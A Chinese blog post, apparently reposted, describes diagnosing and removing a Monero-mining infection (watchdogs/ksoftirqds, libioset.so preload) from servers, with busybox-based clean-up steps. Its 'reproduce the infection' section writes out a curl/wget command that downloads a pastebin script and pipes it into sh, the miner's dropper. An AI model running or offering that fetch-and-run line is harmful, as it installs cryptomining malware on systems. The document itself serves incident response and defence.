zoukankan      html  css  js  c++  java
  • 记服务器中招挖矿病毒排查过程(解决方案篇)

    背景

    从昨日(20190221)中午起, 发现大量测试环境机器和一台线上机器疑似感染挖矿病毒(后来确认的确是门罗币挖矿病毒), 经过一天多的紧急排查, 已基本搞定了该病毒.

    该病毒这两天疑似大规模爆发, 已经有几个其他公司的朋友中招, 也在网上看到一些帖子和提问.

    下面先贴出梳理后的解决过程, 有时间再附上详细的分析过程.

    直观表现

    • top, ps -ef 无异常进程
    • load average 稳步飙升
    • netstat 命令被删除
    • 尝试建立大量22端口, 6379端口的内网连接
    • crontab 被添加定时挖矿脚本, 删除无效

    传播途径

    • Jenkins漏洞(or 弱密码?)侵入
    • 尝试root用户ssh的免密登录
    • 尝试redis内网登录

    准备过程

    获取busybox

    因感染病毒后, ls等系统命令会被劫持, 需要busybox替代这些系统命令, 下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.

    1.  
      docker run --rm -itv /tmp/:/tmp busybox:uclibc
    2.  
      cp /bin/busybox /tmp
    3.  
      exit

    宿主机即获取到: /tmp/busybox

    复现感染过程(docker环境被root感染模式)

    docker与虚拟机环境有区别, 病毒行为会受限

    1.  
      docker run --rm -it -v /tmp:/tmp centos:latest
    2.  
      yum install -y crontabs lsof e2fsprogs
    3.  
      (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

    使用busybox代替系统命令

    busybox top, busybox ps -ef
    

    busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令.

    发现比系统命令多两个进程(进程个数跟cpu核数有关), 耗尽了所有cpu资源

    1.  
      /tmp/ksoftirqds
    2.  
      /tmp/watchdogs

    查杀过程(系统命令已不可信, 操作优先采用busybox)

    关闭crontab

    systemctl stop crond
    

    阻断内网传播

    上面提到, 该病毒会通过jenkins漏洞, ssh免密登录, redis免密or弱密码远程执行等方式传播, 在对机器杀毒的过程中, 首先更改相应端口, 避免被内网其它机器二次感染.

    上传busybox

    chmod +x busybox && mv busybox /sbin/
    

    写hosts, 屏蔽病毒脚本下载

    busybox echo -e "
    0.0.0.0 pastebin.com
    0.0.0.0 thyrsi.com" >> /etc/hosts
    

    删除,创建,并锁定 crontab相关文件

    1.  
      busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
    2.  
      busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
    3.  
      busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root

    备份重要的crontab,然后删除cron.d目录的其他文件

    busybox rm -rf /etc/cron.d/*
    

    检查并删除下面目录有异常文件

    1.  
      busybox ls /etc/cron.daily
    2.  
      busybox ls /etc/cron.hourly
    3.  
      busybox ls /etc/cron.monthly
    4.  
      busybox ls /etc/cron.weekly

    删除病毒相关执行文件和启动脚本

    1.  
      /busybox rm /sbin/watchdogs
    2.  
      /busybox rm /usr/sbin/watchdogs
    3.  
      /busybox rm /etc/init.d/watchdogs
    4.  
       
    5.  
      busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f

    删除病毒进程

    1.  
      busybox pkill watchdogs
    2.  
      busybox pkill ksoftirqds

    删除被preload的so库

    1.  
      busybox rm /usr/local/lib/libioset.so
    2.  
      busybox rm /etc/ld.so.preload
    3.  
      busybox rm /etc/ld.so.cache

    验证libioset.so被卸载

    lsof |grep usr/local/lib/libioset.so
    

    无输出, 则该动态链接库被卸载, 直接执行验证步骤;

    有输出, kill掉占用的进程, 重复执行该步骤;

    若反复执行后无法成功卸载该动态链接库, 请执行服务器重启操作.

    重启服务器

    验证步骤

    1.  
      busybox top # 查看系统负载
    2.  
      crontab -l # 查看是否还有异常任务
    3.  
      busybox chattr -i /etc/cron.d/root # 过一段时间查看是否有异常任务写入

    如果没有成功,重复执行整个查杀过程,尽量在短时间内完成所有操作并重启,否则病毒会利用已加载的动态链接库恢复感染

    转载于:https://my.oschina.net/u/3473218/blog/3013593

  • 相关阅读:
    机器学习---聚类算法
    机器学习解决问题的框架
    17个机器学习的常用算法!
    机器学习---理论篇
    golang 调用cmd执行EXE
    队列(自定义列表实现自定义队列)
    栈Stack(使用自定义链表实现自定义栈)
    链表( 自定义链表)
    队列(动态数组实现自定义队列)
    栈Stack(动态数组实现自定义栈)
  • 原文地址:https://www.cnblogs.com/angryprogrammer/p/13456681.html
Copyright © 2011-2022 走看看